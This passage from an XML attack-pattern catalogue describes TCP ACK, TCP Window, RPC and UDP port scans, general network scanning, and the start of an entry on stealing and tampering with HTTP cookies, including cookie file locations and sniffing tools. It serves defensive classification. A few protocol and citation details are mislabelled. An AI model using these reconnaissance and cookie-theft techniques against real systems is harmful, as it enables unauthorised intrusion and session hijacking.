					<Reference_PubDate>2009</Reference_PubDate>
				</Reference>
				<Reference>
					<Reference_Author>Defense Advanced Research Projects Agency
						(DARPA)</Reference_Author>
					<Reference_Title>RFC793 - Transmission Control Protocol</Reference_Title>
					<Reference_PubDate>1981</Reference_PubDate>
					<Reference_Link>http://www.faqs.org/rfcs/rfc793.html</Reference_Link>
				</Reference>
				<Reference>
					<Reference_Author>Gordon "Fyordor" Lyon</Reference_Author>
					<Reference_Title>Nmap Network Scanning: The Official Nmap Project Guide to
						Network Discovery and Security Scanning</Reference_Title>
					<Reference_Section>Section 5.5 TCP FIN, NULL, XMAS Scans, pg.
						107</Reference_Section>
					<Reference_Edition>3rd "Zero Day" Edition, </Reference_Edition>
					<Reference_Publisher>Insecure.com LLC, ISBN:
						978-0-9799587-1-7</Reference_Publisher>
					<Reference_PubDate>2008</Reference_PubDate>
				</Reference>
				<Reference>
					<Reference_Author>Gordon "Fyordor" Lyon</Reference_Author>
					<Reference_Title>The Art of Port Scanning</Reference_Title>
					<Reference_Edition>Volume: 7, Issue. 51</Reference_Edition>
					<Reference_Publisher>Phrack Magazine</Reference_Publisher>
					<Reference_PubDate>1997</Reference_PubDate>
					<Reference_Link>http://nmap.org/p51-11.html</Reference_Link>
				</Reference>
			</References>
		</Attack_Pattern>
		<Attack_Pattern ID="305" Name="TCP ACK Scan" Pattern_Abstraction="Detailed"
			Pattern_Completeness="Stub" Status="Draft">
			<Description>
				<Summary>
					<Text>An attacker uses TCP ACK segments to gather information about firewall or
						ACL configuration. The purpose of this type of scan is to discover
						information about filter configurations rather than port state. This type of
						scanning is rarely useful alone, but when combined with SYN scanning, gives
						a more complete picture of the type of firewall rules that are present. When
						a TCP ACK segment is sent to a closed port, or sent out-of-sync to a
						listening port, the RFC 793 expected behavior is for the device to respond
						with a RST. Getting RSTs back in response to a ACK scan gives the attacker
						useful information that can be used to infer the type of firewall present.
						Stateful firewalls will discard out-of-sync ACK packets, leading to no
						response. When this occurs the port is marked as filtered. When RSTs are
						received in response, the ports are marked as unfiltered, as the ACK packets
						solicited the expected behavior from a port. When combined with SYN
						techniques an attacker can gain a more complete picture of which types of
						packets get through to a host and thereby map out its firewall rule-set. ACK
						scanning, when combined with SYN scanning, also allows the attacker analyze
						whether a firewall is stateful or non-stateful. If a SYN solicits a SYN/ACK
						or a RST and an ACK solicits a RST, the port is unfiltered by any firewall
						type. If a SYN solicits a SYN/ACK, but an ACK generates no response, the
						port is statefully filtered. When a SYN generates neither a SYN/ACK or a
						RST, but an ACK generates a RST, the port is statefully filtered. When
						neither SYN nor ACK generates any response, the port is blocked by a
						specific firewall rule, which can occur via any type of firewall.</Text>
					<Block Block_Nature="List">
						<Text>1. Speed: TCP ACK scanning is fast compared to other types of
							scans</Text>
						<Text>2. Stealth: TCP ACK scanning is stealthy</Text>
						<Text>3. Open Port: Cannot detect open ports</Text>
						<Text>4. Closed Port: Cannot detect closed ports</Text>
						<Text>5. Filtered Port: Can detect stateful vs non-stateful filters when
							combined with SYN probes</Text>
						<Text>6. Unfiltered Port: Can detect unfiltered ports when combined with SYN
							probes</Text>
					</Block>
					<Text> Interpreting the results of ACK scanning requires rather sophisticated
						analysis. A skilled attacker may use this method to map out firewall rules,
						but the results of ACK scanning will be less useful to a novice.</Text>
				</Summary>
			</Description>
			<Target_Attack_Surface>
				<Target_Attack_Surface_Description>
					<Targeted_OSI_Layers>
						<Targeted_OSI_Layer>Transport Layer</Targeted_OSI_Layer>
					</Targeted_OSI_Layers>
					<Target_Attack_Surface_Localities>
						<Target_Attack_Surface_Locality>Server-side</Target_Attack_Surface_Locality>
					</Target_Attack_Surface_Localities>
					<Target_Attack_Surface_Types>
						<Target_Attack_Surface_Type>Host</Target_Attack_Surface_Type>
						<Target_Attack_Surface_Type>Firewall</Target_Attack_Surface_Type>
					</Target_Attack_Surface_Types>
				</Target_Attack_Surface_Description>
			</Target_Attack_Surface>
			<Attack_Prerequisites>
				<Attack_Prerequisite>
					<Text>ACK scanning requires the use of raw sockets, and thus cannot be performed
						from some Windows systems (Windows XP SP 2, for example). On Unix and Linux,
						raw socket manipulations require root privileges.</Text>
				</Attack_Prerequisite>
			</Attack_Prerequisites>
			<Typical_Severity>Low</Typical_Severity>
			<Resources_Required>
				<Text>The ability to send TCP ACK segments to a host during network reconnaissance.
					This can be achieved via the use of a network mapper or scanner, or via raw
					socket programming in a scripting language. Packet injection tools are also
					useful for this purpose. Depending upon the method used it may be necessary to
					sniff the network in order to see the response.</Text>
			</Resources_Required>
			<Attack_Motivation-Consequences>
				<!--Information Leakage-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Technical_Impact>&quot;Varies by
						context&quot;</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<!--Privilege Escalation-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Scope>Access_Control</Consequence_Scope>
					<Consequence_Scope>Authorization</Consequence_Scope>
					<Consequence_Technical_Impact>Bypass protection
						mechanism</Consequence_Technical_Impact>
					<Consequence_Technical_Impact>Hide activities</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
			</Attack_Motivation-Consequences>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID>1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>300<!--Port Scanning--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
			<References>
				<Reference>
					<Reference_Author>Stuart McClure, Joel Scambray, George Kurtz</Reference_Author>
					<Reference_Title>Hacking Exposed: Network Security Secrets and
						Solutions</Reference_Title>
					<Reference_Section>Chapter 2: Scanning, pg. 55-56</Reference_Section>
					<Reference_Edition>6th Edition</Reference_Edition>
					<Reference_Publisher>McGraw Hill, ISBN: 978-0-07-161374-3</Reference_Publisher>
					<Reference_PubDate>2009</Reference_PubDate>
				</Reference>
				<Reference>
					<Reference_Author>Defense Advanced Research Projects Agency
						(DARPA)</Reference_Author>
					<Reference_Title>RFC793 - Transmission Control Protocol</Reference_Title>
					<Reference_PubDate>1981</Reference_PubDate>
					<Reference_Link>http://www.faqs.org/rfcs/rfc793.html</Reference_Link>
				</Reference>
				<Reference>
					<Reference_Author>Gordon "Fyordor" Lyon</Reference_Author>
					<Reference_Title>Nmap Network Scanning: The Official Nmap Project Guide to
						Network Discovery and Security Scanning</Reference_Title>
					<Reference_Section>Section 5.7 TCP ACK Scan, pg. 113</Reference_Section>
					<Reference_Edition>3rd "Zero Day" Edition, </Reference_Edition>
					<Reference_Publisher>Insecure.com LLC, ISBN:
						978-0-9799587-1-7</Reference_Publisher>
					<Reference_PubDate>2008</Reference_PubDate>
				</Reference>
				<Reference>
					<Reference_Author>Gordon "Fyordor" Lyon</Reference_Author>
					<Reference_Title>The Art of Port Scanning</Reference_Title>
					<Reference_Edition>Volume: 7, Issue. 51</Reference_Edition>
					<Reference_Publisher>Phrack Magazine</Reference_Publisher>
					<Reference_PubDate>1997</Reference_PubDate>
					<Reference_Link>http://nmap.org/p51-11.html</Reference_Link>
				</Reference>
			</References>
		</Attack_Pattern>
		<Attack_Pattern ID="306" Name="TCP Window Scan" Pattern_Abstraction="Detailed"
			Pattern_Completeness="Stub" Status="Draft">
			<Description>
				<Summary>
					<Text>An attacker engages in TCP Window scanning to analyze port status and
						operating system type. TCP Window scanning uses the ACK scanning method but
						examine the TCP Window Size field of response RST packets to make certain
						inferences. This scanning method works against fewer TCP stack
						implementations than any other type of scan. Some operating systems return a
						positive TCP window size when a RST packet is sent from an open port, and a
						negative value when the RST originates from a closed port.</Text>
					<Block Block_Nature="List">
						<Text>1. Speed: TCP Window scanning is fast compared to other types of
							scans</Text>
						<Text>2. Stealth: TCP Window scanning is relatively stealthy, much like ACK
							scanning</Text>
						<Text>3. Open Port: Can detect open ports based on Window size for a limited
							number of operating systems</Text>
						<Text>4. Closed Port: Can detect closed ports based on Window size for
							limited number of operating systems</Text>
						<Text>5. Filtered Port: Can identify filtered ports when combined with other
							methods</Text>
						<Text>6. Unfiltered Port: Can identify unfiltered ports when combined with
							other methods</Text>
					</Block>
					<Text> TCP Window scanning is one of the most complex scan types, and its
						results are difficult to interpret. Window scanning alone rarely yields
						useful information, but when combined with other types of scanning is more
						useful. TCP Window scanning is a more reliable means of making inference
						about operating system versions than port status.</Text>
				</Summary>
			</Description>
			<Target_Attack_Surface>
				<Target_Attack_Surface_Description>
					<Targeted_OSI_Layers>
						<Targeted_OSI_Layer>Transport Layer</Targeted_OSI_Layer>
					</Targeted_OSI_Layers>
					<Target_Attack_Surface_Localities>
						<Target_Attack_Surface_Locality>Server-side</Target_Attack_Surface_Locality>
					</Target_Attack_Surface_Localities>
					<Target_Attack_Surface_Types>
						<Target_Attack_Surface_Type>Host</Target_Attack_Surface_Type>
						<Target_Attack_Surface_Type>Service</Target_Attack_Surface_Type>
					</Target_Attack_Surface_Types>
				</Target_Attack_Surface_Description>
			</Target_Attack_Surface>
			<Attack_Prerequisites>
				<Attack_Prerequisite>
					<Text>TCP Window scanning requires the use of raw sockets, and thus cannot be
						performed from some Windows systems (Windows XP SP 2, for example). On Unix
						and Linux, raw socket manipulations require root privileges.</Text>
				</Attack_Prerequisite>
			</Attack_Prerequisites>
			<Typical_Severity>Low</Typical_Severity>
			<Resources_Required>
				<Text>The ability to send TCP segments with a custom window size to a host during
					network reconnaissance. This can be achieved via the use of a network mapper or
					scanner, or via raw socket programming in a scripting language. Packet injection
					tools are also useful for this purpose. Depending upon the method used it may be
					necessary to sniff the network in order to see the response.</Text>
			</Resources_Required>
			<Attack_Motivation-Consequences>
				<!--Information Leakage-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Technical_Impact>&quot;Varies by
						context&quot;</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<!--Privilege Escalation-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Scope>Access_Control</Consequence_Scope>
					<Consequence_Scope>Authorization</Consequence_Scope>
					<Consequence_Technical_Impact>Bypass protection
						mechanism</Consequence_Technical_Impact>
					<Consequence_Technical_Impact>Hide activities</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
			</Attack_Motivation-Consequences>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID>1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>300<!--Port Scanning--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
			<References>
				<Reference>
					<Reference_Author>Stuart McClure, Joel Scambray, George Kurtz</Reference_Author>
					<Reference_Title>Hacking Exposed: Network Security Secrets &amp;
						Solutions</Reference_Title>
					<Reference_Section>Chapter 2: Scanning, pg. 55-56</Reference_Section>
					<Reference_Edition>6th Edition</Reference_Edition>
					<Reference_Publisher>McGraw Hill, ISBN: 978-0-07-161374-3</Reference_Publisher>
					<Reference_PubDate>2009</Reference_PubDate>
				</Reference>
				<Reference>
					<Reference_Author>Defense Advanced Research Projects Agency
						(DARPA)</Reference_Author>
					<Reference_Title>RFC793 - Transmission Control Protocol</Reference_Title>
					<Reference_PubDate>1981</Reference_PubDate>
					<Reference_Link>http://www.faqs.org/rfcs/rfc793.html</Reference_Link>
				</Reference>
				<Reference>
					<Reference_Author>Gordon "Fyordor" Lyon</Reference_Author>
					<Reference_Title>Nmap Network Scanning: The Official Nmap Project Guide to
						Network Discovery and Security Scanning</Reference_Title>
					<Reference_Section>Section 5.8 TCP Window Scan, pg. 115</Reference_Section>
					<Reference_Edition>3rd "Zero Day" Edition, </Reference_Edition>
					<Reference_Publisher>Insecure.com LLC, ISBN:
						978-0-9799587-1-7</Reference_Publisher>
					<Reference_PubDate>2008</Reference_PubDate>
				</Reference>
				<Reference>
					<Reference_Author>Gordon "Fyordor" Lyon</Reference_Author>
					<Reference_Title>The Art of Port Scanning</Reference_Title>
					<Reference_Edition>Volume: 7, Issue. 51</Reference_Edition>
					<Reference_Publisher>Phrack Magazine</Reference_Publisher>
					<Reference_PubDate>1997</Reference_PubDate>
					<Reference_Link>http://nmap.org/p51-11.html</Reference_Link>
				</Reference>
			</References>
		</Attack_Pattern>
		<Attack_Pattern ID="307" Name="TCP RPC Scan" Pattern_Abstraction="Detailed"
			Pattern_Completeness="Stub" Status="Draft">
			<Description>
				<Summary>
					<Text>An attacker scan for RPC services listing on a Unix/Linux host. This type
						of scan can be obtained via native operating system utilities or via port
						scanners like nmap. When performed by a scanner, an RPC datagram is sent to
						a list of UDP ports and the response is recorded. Particular types of
						responses can be indicative of well known RPC services running on a UDP
						port.</Text>
					<Block Block_Nature="List">
						<Text>1. Speed: Direct RPC scans that bypass portmapper/sunrpc are typically
							slow compare to other scan types</Text>
						<Text>2. Stealth: RPC scanning is not stealthy, as IPS/IDS systems detect
							RPC queries</Text>
						<Text>3. Open Port: Can only detect open ports when an RPC service
							responds</Text>
						<Text>4. Closed Port: Detects closed ports on the basis of ICMP diagnostic
							messages.</Text>
						<Text>5. Filtered Port: Cannot identify filtered ports</Text>
						<Text>6. Unfiltered Port: Cannot identify unfiltered ports</Text>
					</Block>
					<Text> There are two general approaches to RPC scanning. One is to use a native
						operating system utility, or script, to query the portmapper/rpcbind
						application running on port 111. Portmapper will return a list of registered
						RPC services. Alternately, one can use a port scanner or script to scan for
						RPC services directly. Discovering RPC services gives the attacker potential
						targets to attack, as some RPC services are insecure by default.</Text>
				</Summary>
			</Description>
			<Target_Attack_Surface>
				<Target_Attack_Surface_Description>
					<Targeted_OSI_Layers>
						<Targeted_OSI_Layer>Transport Layer</Targeted_OSI_Layer>
					</Targeted_OSI_Layers>
					<Target_Attack_Surface_Localities>
						<Target_Attack_Surface_Locality>Server-side</Target_Attack_Surface_Locality>
					</Target_Attack_Surface_Localities>
					<Target_Attack_Surface_Types>
						<Target_Attack_Surface_Type>Host</Target_Attack_Surface_Type>
						<Target_Attack_Surface_Type>Service</Target_Attack_Surface_Type>
					</Target_Attack_Surface_Types>
				</Target_Attack_Surface_Description>
			</Target_Attack_Surface>
			<Attack_Prerequisites>
				<Attack_Prerequisite>
					<Text>RPC scanning requires no special privileges when it is performed via a
						native system utility.</Text>
				</Attack_Prerequisite>
			</Attack_Prerequisites>
			<Typical_Severity>Low</Typical_Severity>
			<Resources_Required>
				<Text>The ability to craft custom RPC datagrams for use during network
					reconnaissance. By tailoring the bytes injected one can scan for specific
					RPC-registered services. Depending upon the method used it may be necessary to
					sniff the network in order to see the response.</Text>
			</Resources_Required>
			<Attack_Motivation-Consequences>
				<!--Information Leakage-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Technical_Impact>&quot;Varies by
						context&quot;</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<!--Privilege Escalation-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Scope>Access_Control</Consequence_Scope>
					<Consequence_Scope>Authorization</Consequence_Scope>
					<Consequence_Technical_Impact>Bypass protection
						mechanism</Consequence_Technical_Impact>
					<Consequence_Technical_Impact>Hide activities</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
			</Attack_Motivation-Consequences>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID>1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>300<!--Port Scanning--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
			<References>
				<Reference>
					<Reference_Author>Stuart McClure, Joel Scambray, George Kurtz</Reference_Author>
					<Reference_Title>Hacking Exposed: Network Security Secrets &amp;
						Solutions</Reference_Title>
					<Reference_Section>Chapter 2: Scanning, pg. 56</Reference_Section>
					<Reference_Edition>6th Edition</Reference_Edition>
					<Reference_Publisher>McGraw Hill, ISBN: 978-0-07-161374-3</Reference_Publisher>
					<Reference_PubDate>2009</Reference_PubDate>
				</Reference>
				<Reference>
					<Reference_Author>J. Postel</Reference_Author>
					<Reference_Title>RFC768 - User Datagram Protocol</Reference_Title>
					<Reference_PubDate>1980</Reference_PubDate>
					<Reference_Link>http://www.faqs.org/rfcs/rfc768.html</Reference_Link>
				</Reference>
				<Reference>
					<Reference_Author>Gordon "Fyordor" Lyon</Reference_Author>
					<Reference_Title>Nmap Network Scanning: The Official Nmap Project Guide to
						Network Discovery and Security Scanning</Reference_Title>
					<Reference_Section>Section 7.5.2 RPC Grinding, pg. 156</Reference_Section>
					<Reference_Edition>3rd "Zero Day" Edition, </Reference_Edition>
					<Reference_Publisher>Insecure.com LLC, ISBN:
						978-0-9799587-1-7</Reference_Publisher>
					<Reference_PubDate>2008</Reference_PubDate>
				</Reference>
				<Reference>
					<Reference_Author>Gordon "Fyordor" Lyon</Reference_Author>
					<Reference_Title>The Art of Port Scanning</Reference_Title>
					<Reference_Edition>Volume: 7, Issue. 51</Reference_Edition>
					<Reference_Publisher>Phrack Magazine</Reference_Publisher>
					<Reference_PubDate>1997</Reference_PubDate>
					<Reference_Link>http://nmap.org/p51-11.html</Reference_Link>
				</Reference>
			</References>
		</Attack_Pattern>
		<Attack_Pattern ID="308" Name="UDP Scan" Pattern_Abstraction="Detailed"
			Pattern_Completeness="Stub" Status="Draft">
			<Description>
				<Summary>
					<Text>An attacker engages in UDP scanning to gather information about UDP port
						status. UDP scanning methods involve sending a UDP datagram to the target
						port and looking for evidence that the port is closed. Open UDP ports
						usually do not respond to UDP datagrams as there is no stateful mechanism
						within the protocol that requires building or establishing a session.
						Responses to UDP datagrams are therefore application specific and cannot be
						relied upon as a method of detecting an open port. UDP scanning relies
						heavily upon ICMP diagnostic messages in order to determine the status of a
						remote port. Firewalls or ACLs which block egress ICMP error types
						effectively prevent UDP scans from returning any useful information. UDP
						scanning is further complicated by rate limiting mechanisms governing ICMP
						error messages. During a UDP scan, a datagram is sent to a target port. If
						an ICMP Type 3 Port unreachable error message is returned then the port is
						considered closed. Different types of ICMP messages can indicate a filtered
						port.</Text>
					<Block Block_Nature="List">
						<Text>1. Speed: UDP scanning is very slow due to ICMP rate limiting</Text>
						<Text>2. Stealth: RPC scanning is relatively stealthy provided the sending
							rate does not trigger IPS/IDS sensors</Text>
						<Text>3. Open Port: Infers an open port based on no response, or an
							occasional response by a well-known service</Text>
						<Text>4. Closed Port: Detects a closed port using return ICMP diagnostic
							messages from the host</Text>
						<Text>5. Filtered Port: Can detect some filtered ports via ICMP diagnostic
							messages</Text>
						<Text>6. Unfiltered Port: Can detect unfiltered ports based on some ICMP
							diagnostic messages</Text>
					</Block>
					<Text> The protocol characteristics of UDP make port scanning inherently more
						difficult than with TCP, as well as dependent upon ICMP for accurate
						scanning. Due to ambiguities that can arise between open ports and filtered
						ports, UDP scanning results often require a high degree of interpretation
						and further testing to refine. In general, UDP scanning results are less
						reliable or accurate than TCP-based scanning.</Text>
				</Summary>
			</Description>
			<Target_Attack_Surface>
				<Target_Attack_Surface_Description>
					<Targeted_OSI_Layers>
						<Targeted_OSI_Layer>Network Layer</Targeted_OSI_Layer>
					</Targeted_OSI_Layers>
					<Target_Attack_Surface_Localities>
						<Target_Attack_Surface_Locality>Server-side</Target_Attack_Surface_Locality>
					</Target_Attack_Surface_Localities>
					<Target_Attack_Surface_Types>
						<Target_Attack_Surface_Type>Host</Target_Attack_Surface_Type>
						<Target_Attack_Surface_Type>Service</Target_Attack_Surface_Type>
					</Target_Attack_Surface_Types>
				</Target_Attack_Surface_Description>
			</Target_Attack_Surface>
			<Attack_Prerequisites>
				<Attack_Prerequisite>
					<Text>The ability to send UDP datagrams to a host and receive ICMP error
						messages from that host. In cases where particular types of ICMP messaging
						is disallowed, the reliability of UDP scanning drops off sharply.</Text>
				</Attack_Prerequisite>
			</Attack_Prerequisites>
			<Typical_Severity>Low</Typical_Severity>
			<Resources_Required>
				<Text>The ability to craft custom UDP Packets for use during network reconnaissance.
					This can be accomplished via the use of a port scanner, or via socket
					manipulation in a programming or scripting language. Packet injection tools are
					also useful. It is also necessary to trap ICMP diagnostic messages during this
					process. Depending upon the method used it may be necessary to sniff the network
					in order to see the response. </Text>
			</Resources_Required>
			<Attack_Motivation-Consequences>
				<!--Information Leakage-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Technical_Impact>&quot;Varies by
						context&quot;</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<!--Privilege Escalation-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Scope>Access_Control</Consequence_Scope>
					<Consequence_Scope>Authorization</Consequence_Scope>
					<Consequence_Technical_Impact>Bypass protection
						mechanism</Consequence_Technical_Impact>
					<Consequence_Technical_Impact>Hide activities</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
			</Attack_Motivation-Consequences>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID>1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>300<!--Port Scanning--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
			<References>
				<Reference>
					<Reference_Author>Stuart McClure, Joel Scambray, George Kurtz</Reference_Author>
					<Reference_Title>Hacking Exposed: Network Security Secrets &amp;
						Solutions</Reference_Title>
					<Reference_Section>Chapter 2: Scanning, pg. 54-69</Reference_Section>
					<Reference_Edition>6th Edition</Reference_Edition>
					<Reference_Publisher>McGraw Hill, ISBN: 978-0-07-161374-3</Reference_Publisher>
					<Reference_PubDate>2009</Reference_PubDate>
				</Reference>
				<Reference>
					<Reference_Author>J. Postel</Reference_Author>
					<Reference_Title>RFC768 - User Datagram Protocol</Reference_Title>
					<Reference_PubDate>1980</Reference_PubDate>
					<Reference_Link>http://www.faqs.org/rfcs/rfc768.html</Reference_Link>
				</Reference>
				<Reference>
					<Reference_Author>Gordon "Fyordor" Lyon</Reference_Author>
					<Reference_Title>Nmap Network Scanning: The Official Nmap Project Guide to
						Network Discovery and Security Scanning</Reference_Title>
					<Reference_Section>Section 5.4 RPC Grinding, pg. 101</Reference_Section>
					<Reference_Edition>3rd "Zero Day" Edition, </Reference_Edition>
					<Reference_Publisher>Insecure.com LLC, ISBN:
						978-0-9799587-1-7</Reference_Publisher>
					<Reference_PubDate>2008</Reference_PubDate>
				</Reference>
				<Reference>
					<Reference_Author>Gordon "Fyordor" Lyon</Reference_Author>
					<Reference_Title>The Art of Port Scanning</Reference_Title>
					<Reference_Edition>Volume: 7, Issue. 51</Reference_Edition>
					<Reference_Publisher>Phrack Magazine</Reference_Publisher>
					<Reference_PubDate>1997</Reference_PubDate>
					<Reference_Link>http://nmap.org/p51-11.html</Reference_Link>
				</Reference>
			</References>
		</Attack_Pattern>
		<Attack_Pattern ID="309" Name="Scanning for Devices, Systems, or Routes"
			Pattern_Abstraction="Meta" Status="Draft">
			<Description>
				<Summary>
					<Text>An attacker engages in scanning activity to find vulnerable network nodes,
						such as hosts, devices, or routes. Attackers usually perform this type of
						network reconnaissance during the early stages of attack against an external
						network. Many types of scanning utilities are typically employed, including
						ICMP tools, network mappers, port scanners, and route testing utilities such
						as traceroute. </Text>
				</Summary>
			</Description>
			<Target_Attack_Surface>
				<Target_Attack_Surface_Description>
					<Targeted_OSI_Layers>
						<Targeted_OSI_Layer>Network Layer</Targeted_OSI_Layer>
						<Targeted_OSI_Layer>Transport Layer</Targeted_OSI_Layer>
						<Targeted_OSI_Layer>Application Layer</Targeted_OSI_Layer>
					</Targeted_OSI_Layers>
					<Target_Attack_Surface_Localities>
						<Target_Attack_Surface_Locality>Server-side</Target_Attack_Surface_Locality>
					</Target_Attack_Surface_Localities>
					<Target_Attack_Surface_Types>
						<Target_Attack_Surface_Type>Host</Target_Attack_Surface_Type>
						<Target_Attack_Surface_Type>Service</Target_Attack_Surface_Type>
					</Target_Attack_Surface_Types>
					<Target_Functional_Services>
						<Target_Functional_Service ID="1" Name="None">
							<Protocol ID="1" Name="Any">
								<Related_Protocols>
									<Related_Protocol Name="Internet Protocol" RFC="791">
										<Relationship_Type>Uses Protocol</Relationship_Type>
									</Related_Protocol>
									<Related_Protocol Name="User Datagram Protocol" RFC="791">
										<Relationship_Type>Uses Protocol</Relationship_Type>
									</Related_Protocol>
									<Related_Protocol Name="lnternet Control Messaging Protocol"
										RFC="791">
										<Relationship_Type>Uses Protocol</Relationship_Type>
									</Related_Protocol>
									<Related_Protocol Name="Transmission Control Protocol" RFC="791">
										<Relationship_Type>Uses Protocol</Relationship_Type>
									</Related_Protocol>
								</Related_Protocols>
							</Protocol>
						</Target_Functional_Service>
					</Target_Functional_Services>
				</Target_Attack_Surface_Description>
			</Target_Attack_Surface>
			<Attack_Prerequisites>
				<Attack_Prerequisite>
					<Text>None</Text>
				</Attack_Prerequisite>
			</Attack_Prerequisites>
			<Typical_Severity>Low</Typical_Severity>
			<Resources_Required>
				<Text> Probing requires the ability to interactively send and receive data from a
					target, whereas passive listening requires a sufficient understanding of the
					protocol to analyze a preexisting channel of communication. </Text>
			</Resources_Required>
			<Attack_Motivation-Consequences>
				<!--Information Leakage-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Technical_Impact>&quot;Varies by
						context&quot;</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
			</Attack_Motivation-Consequences>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>289<!--Infrastructure-based footprinting--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
			<References>
				<Reference>
					<Reference_Author>Stuart McClure</Reference_Author>
					<Reference_Author>Joel Scambray</Reference_Author>
					<Reference_Author>George Kurtz</Reference_Author>
					<Reference_Title>Hacking Exposed: Network Security Secrets &amp;
						Solutions</Reference_Title>
					<Reference_Section>Chapter 2: Scanning, pg. 56</Reference_Section>
					<Reference_Edition>6th Edition</Reference_Edition>
					<Reference_Publisher>McGraw Hill, ISBN: 978-0-07-161374-3</Reference_Publisher>
					<Reference_PubDate>2009</Reference_PubDate>
				</Reference>
				<Reference>
					<Reference_Author>Defense Advanced Research Projects Agency
						(DARPA)</Reference_Author>
					<Reference_Title>RFC793 - Transmission Control Protocol</Reference_Title>
					<Reference_PubDate>1981</Reference_PubDate>
					<Reference_Link>http://www.faqs.org/rfcs/rfc793.html</Reference_Link>
				</Reference>
				<Reference>
					<Reference_Author>Gordon "Fyordor" Lyon</Reference_Author>
					<Reference_Title>The Art of Port Scanning</Reference_Title>
					<Reference_Edition>Volume: 7, Issue. 51</Reference_Edition>
					<Reference_Publisher>Phrack Magazine</Reference_Publisher>
					<Reference_PubDate>1997</Reference_PubDate>
					<Reference_Link>http://nmap.org/p51-11.html</Reference_Link>
				</Reference>
			</References>
		</Attack_Pattern>
		<Attack_Pattern ID="31" Name="Accessing/Intercepting/Modifying HTTP Cookies"
			Pattern_Abstraction="Detailed" Pattern_Completeness="Complete" Status="Draft">
			<Description>
				<Summary>
					<Text>This attack relies on the use of HTTP Cookies to store credentials, state
						information and other critical data on client systems.</Text>
					<Text>The first form of this attack involves accessing HTTP Cookies to mine for
						potentially sensitive data contained therein.</Text>
					<Text>The second form of this attack involves intercepting this data as it is
						transmitted from client to server. This intercepted information is then used
						by the attacker to impersonate the remote user/session.</Text>
					<Text>The third form is when the cookie's content is modified by the attacker
						before it is sent back to the server. Here the attacker seeks to convince
						the target server to operate on this falsified information.</Text>
				</Summary>
				<Attack_Execution_Flow>
					<Attack_Phases>
						<Attack_Phase ID="1" Name="Explore">
							<Attack_Steps>
								<Attack_Step ID="1">
									<Custom_Attack_Step>
										<Attack_Step_Title>Obtain copy of cookie</Attack_Step_Title>
										<Attack_Step_Description>
											<Text>The attacker first needs to obtain a copy of the
												cookie. The attacker may be a legitimate end user
												wanting to escalate privilege, or could be somebody
												sniffing on a network to get a copy of HTTP
												cookies.</Text>
										</Attack_Step_Description>
										<Attack_Step_Techniques>
											<Attack_Step_Technique ID="1">
												<Attack_Step_Technique_Description>
												<Text>Obtain cookie from local filesystem (e.g.
												C:\Documents and Settings\*\Cookies and
												C:\Documents and Settings\*\Application
												Data\Mozilla\Firefox\Profiles\*\cookies.txt in
												Windows)</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
											<Attack_Step_Technique ID="2">
												<Attack_Step_Technique_Description>
												<Text>Sniff cookie using a network sniffer such as
												Wireshark</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
											<Attack_Step_Technique ID="3">
												<Attack_Step_Technique_Description>
												<Text>Obtain cookie from local memory or
												filesystem using a utility such as the Firefox
												Cookie Manager or AnEC Cookie Editor.</Text>
